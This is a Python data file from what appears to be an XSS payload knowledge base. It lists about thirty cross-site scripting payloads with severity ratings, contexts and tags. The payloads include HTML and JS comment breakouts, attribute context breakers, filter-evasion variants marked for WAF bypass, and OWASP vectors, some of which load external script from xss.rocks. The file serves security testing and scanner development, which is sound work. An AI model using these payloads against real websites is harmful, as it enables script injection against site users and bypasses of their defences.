#!/usr/bin/env python3
"""
Project: BRS-KB (BRS XSS Knowledge Base)
Company: EasyProTech LLC (www.easypro.tech)
Dev: Brabus
Date: 2025-12-26 UTC
Status: Refactored
Telegram: https://t.me/EasyProTech

HTML Tag XSS Payloads - Comments and OWASP
"""

from ..models import PayloadEntry


COMMENT_INJECTION_PAYLOADS = {
    "comment_1": PayloadEntry(
        payload="--><script>alert(1)</script><!--",
        contexts=["html_comment"],
        severity="critical",
        cvss_score=8.5,
        description="HTML comment breakout",
        tags=["comment", "breakout", "html"],
        reliability="high",
    ),
    "comment_2": PayloadEntry(
        payload="*/alert(1)/*",
        contexts=["javascript", "css"],
        severity="high",
        cvss_score=7.5,
        description="JS/CSS comment breakout",
        tags=["comment", "breakout", "js", "css"],
        reliability="high",
    ),
    "comment_3": PayloadEntry(
        payload="--!><script>alert(1)</script>",
        contexts=["html_comment"],
        severity="critical",
        cvss_score=8.5,
        description="HTML comment with exclamation",
        tags=["comment", "breakout", "exclamation"],
        reliability="medium",
    ),
    # === OWASP HTML Tag Payloads ===
    "owasp-basic-script": PayloadEntry(
        payload="<SCRIPT SRC=http://xss.rocks/xss.js></SCRIPT>",
        contexts=["html_content"],
        severity="high",
        cvss_score=7.5,
        description="Basic XSS test without filter evasion - external script inclusion",
        tags=["owasp", "basic", "script", "external"],
        reliability="high",
    ),
    "owasp-malformed-img": PayloadEntry(
        payload='<IMG """><SCRIPT>alert("XSS")</SCRIPT>"\\>',
        contexts=["html_content"],
        severity="high",
        cvss_score=7.5,
        description="Malformed IMG tag to bypass filters",
        tags=["owasp", "malformed", "img", "script"],
        reliability="medium",
        waf_evasion=True,
    ),
    "owasp-non-alpha-digit-1": PayloadEntry(
        payload='<SCRIPT/XSS SRC="http://xss.rocks/xss.js"></SCRIPT>',
        contexts=["html_content"],
        severity="high",
        cvss_score=7.5,
        description="Non-alpha-non-digit after script tag",
        tags=["owasp", "non-alpha", "bypass"],
        reliability="medium",
        waf_evasion=True,
    ),
    "owasp-extra-brackets": PayloadEntry(
        payload='<<SCRIPT>alert("XSS");//\\<</SCRIPT>',
        contexts=["html_content"],
        severity="high",
        cvss_score=7.5,
        description="Extra open brackets to confuse parsers",
        tags=["owasp", "brackets", "parser-confusion"],
        reliability="medium",
        waf_evasion=True,
    ),
    "owasp-no-closing-script": PayloadEntry(
        payload="<SCRIPT SRC=http://xss.rocks/xss.js?< B >",
        contexts=["html_content"],
        severity="high",
        cvss_score=7.5,
        description="No closing script tag needed in Firefox/Netscape",
        tags=["owasp", "no-closing", "firefox"],
        reliability="medium",
        browser_support=["firefox"],
    ),
    "owasp-half-open": PayloadEntry(
        payload="<IMG SRC=\"javascript:alert('XSS')\"",
        contexts=["html_content"],
        severity="high",
        cvss_score=7.5,
        description="Half open HTML/JavaScript XSS vector",
        tags=["owasp", "half-open", "malformed"],
        reliability="medium",
    ),
    "owasp-end-title": PayloadEntry(
        payload='</TITLE><SCRIPT>alert("XSS");</SCRIPT>',
        contexts=["html_content"],
        severity="high",
        cvss_score=7.5,
        description="End title tag to break out of context",
        tags=["owasp", "title", "context-break"],
        reliability="high",
    ),
    "owasp-input-image": PayloadEntry(
        payload='<INPUT TYPE="IMAGE" SRC="javascript:alert(\'XSS\');">',
        contexts=["html_content"],
        severity="high",
        cvss_score=7.5,
        description="INPUT image type with javascript SRC",
        tags=["owasp", "input", "image"],
        reliability="medium",
    ),
    "owasp-body-image": PayloadEntry(
        payload="<BODY BACKGROUND=\"javascript:alert('XSS')\">",
        contexts=["html_content"],
        severity="high",
        cvss_score=7.5,
        description="BODY background with javascript",
        tags=["owasp", "body", "background"],
        reliability="low",
    ),
    "owasp-meta-refresh": PayloadEntry(
        payload='<META HTTP-EQUIV="refresh" CONTENT="0;url=javascript:alert(\'XSS\');">',
        contexts=["html_content"],
        severity="high",
        cvss_score=7.5,
        description="META refresh with javascript URL",
        tags=["owasp", "meta", "refresh"],
        reliability="medium",
    ),
    "owasp-meta-newline": PayloadEntry(
        payload='<meta content="&NewLine; 1 &NewLine;; JAVASCRIPT&colon; alert(1)" http-equiv="refresh"/>',
        contexts=["html_content"],
        severity="high",
        cvss_score=7.5,
        description="META with HTML entities for newline and colon",
        tags=["owasp", "meta", "entities", "waf_bypass"],
        reliability="medium",
        waf_evasion=True,
    ),
    "owasp-iframe-javascript": PayloadEntry(
        payload="<IFRAME SRC=\"javascript:alert('XSS');\"></IFRAME>",
        contexts=["html_content"],
        severity="high",
        cvss_score=7.5,
        description="IFRAME with javascript SRC",
        tags=["owasp", "iframe", "javascript"],
        reliability="high",
    ),
    "owasp-iframe-data": PayloadEntry(
        payload='<iframe/src="data:text/html,<svg onload=alert(1)>">',
        contexts=["html_content"],
        severity="high",
        cvss_score=7.5,
        description="IFRAME with data URL and SVG",
        tags=["owasp", "iframe", "data-url", "svg"],
        reliability="high",
        waf_evasion=True,
    ),
    "owasp-table-background": PayloadEntry(
        payload="<TABLE BACKGROUND=\"javascript:alert('XSS')\">",
        contexts=["html_content"],
        severity="medium",
        cvss_score=6.0,
        description="TABLE background with javascript",
        tags=["owasp", "table", "background"],
        reliability="low",
    ),
    "owasp-td-background": PayloadEntry(
        payload="<TD BACKGROUND=\"javascript:alert('XSS')\">",
        contexts=["html_content"],
        severity="medium",
        cvss_score=6.0,
        description="TD background with javascript",
        tags=["owasp", "td", "background"],
        reliability="low",
    ),
    "owasp-div-background": PayloadEntry(
        payload="<DIV STYLE=\"background-image: url(javascript:alert('XSS'))\">",
        contexts=["html_content", "css"],
        severity="medium",
        cvss_score=6.0,
        description="DIV background-image with javascript",
        tags=["owasp", "div", "background-image"],
        reliability="low",
    ),
    "owasp-base-tag": PayloadEntry(
        payload="<BASE HREF=\"javascript:alert('XSS');//\">",
        contexts=["html_content"],
        severity="high",
        cvss_score=7.5,
        description="BASE tag to change base URL",
        tags=["owasp", "base", "href"],
        reliability="medium",
    ),
    "owasp-object-data": PayloadEntry(
        payload='<OBJECT TYPE="text/x-scriptlet" DATA="http://xss.rocks/scriptlet.html"></OBJECT>',
        contexts=["html_content"],
        severity="high",
        cvss_score=7.5,
        description="OBJECT tag with external data",
        tags=["owasp", "object", "scriptlet"],
        reliability="medium",
    ),
    "owasp-object-javascript": PayloadEntry(
        payload='<object data="javascript:alert(1)">',
        contexts=["html_content"],
        severity="high",
        cvss_score=7.5,
        description="OBJECT with javascript data",
        tags=["owasp", "object", "javascript"],
        reliability="medium",
    ),
    "owasp-xml-cdata": PayloadEntry(
        payload='<XML ID="xss"><I><B><IMG SRC="javas<!-- -->cript:alert(\'XSS\')"></B></I></XML><SPAN DATASRC="#xss" DATAFLD="B" DATAFORMATAS="HTML"></SPAN>',
        contexts=["html_content", "xml"],
        severity="high",
        cvss_score=7.5,
        description="XML Data Island with CDATA obfuscation",
        tags=["owasp", "xml", "cdata", "ie-only"],
        reliability="low",
        browser_support=["ie"],
    ),
    "owasp-frame": PayloadEntry(
        payload="<FRAMESET><FRAME SRC=\"javascript:alert('XSS');\"></FRAMESET>",
        contexts=["html_content"],
        severity="high",
        cvss_score=7.5,
        description="FRAME with javascript SRC",
        tags=["owasp", "frame", "frameset"],
        reliability="medium",
    ),
    "owasp-cookie-xss": PayloadEntry(
        payload='<META HTTP-EQUIV="Set-Cookie" Content="USERID=<SCRIPT>alert(\'XSS\')</SCRIPT>">',
        contexts=["html_content"],
        severity="high",
        cvss_score=7.5,
        description="XSS via META cookie injection",
        tags=["owasp", "cookie", "meta", "injection"],
        reliability="low",
    ),
    "owasp-script-x": PayloadEntry(
        payload="<script x> alert(1) </script 1=2",
        contexts=["html_content"],
        severity="high",
        cvss_score=7.5,
        description="Script with extra attributes",
        tags=["owasp", "waf_bypass", "script", "extra-attr"],
        reliability="medium",
        waf_evasion=True,
    ),
    "owasp-form-button": PayloadEntry(
        payload="<form><button formaction=javascript&colon;alert(1)>CLICKME",
        contexts=["html_content"],
        severity="high",
        cvss_score=7.5,
        description="Form button with formaction",
        tags=["owasp", "waf_bypass", "form", "button"],
        reliability="high",
        waf_evasion=True,
    ),
    "owasp-long-attribute": PayloadEntry(
        payload="<a aa aaa aaaa aaaaa aaaaaa aaaaaaa aaaaaaaa aaaaaaaaa aaaaaaaaaa href=j&#97v&#97script:&#97lert(1)>ClickMe",
        contexts=["html_content"],
        severity="high",
        cvss_score=7.5,
        description="Long attributes to bypass length-based filters",
        tags=["owasp", "waf_bypass", "long-attr", "entities"],
        reliability="medium",
        waf_evasion=True,
    ),
    "owasp-context-breaker-img": PayloadEntry(
        payload='"><img src="x:x" onerror="alert(XSS)">',
        contexts=["html_attribute"],
        severity="high",
        cvss_score=7.5,
        description="Attribute context breaker with img",
        tags=["owasp", "context-breaker", "attribute"],
        reliability="high",
    ),
    "owasp-context-breaker-iframe": PayloadEntry(
        payload='"><iframe src="javascript:alert(XSS)">',
        contexts=["html_attribute"],
        severity="high",
        cvss_score=7.5,
        description="Attribute context breaker with iframe",
        tags=["owasp", "context-breaker", "iframe"],
        reliability="high",
    ),
    "owasp-quote-breakout-4": PayloadEntry(
        payload='<SCRIPT>document.write("<SCRI");</SCRIPT>PT SRC="httx://xss.rocks/xss.js"></SCRIPT>',
        contexts=["html_content"],
        severity="high",
        cvss_score=7.5,
        description="Split script tag via document.write",
        tags=["owasp", "quote", "split", "document.write"],
        reliability="medium",
        waf_evasion=True,
    ),
}
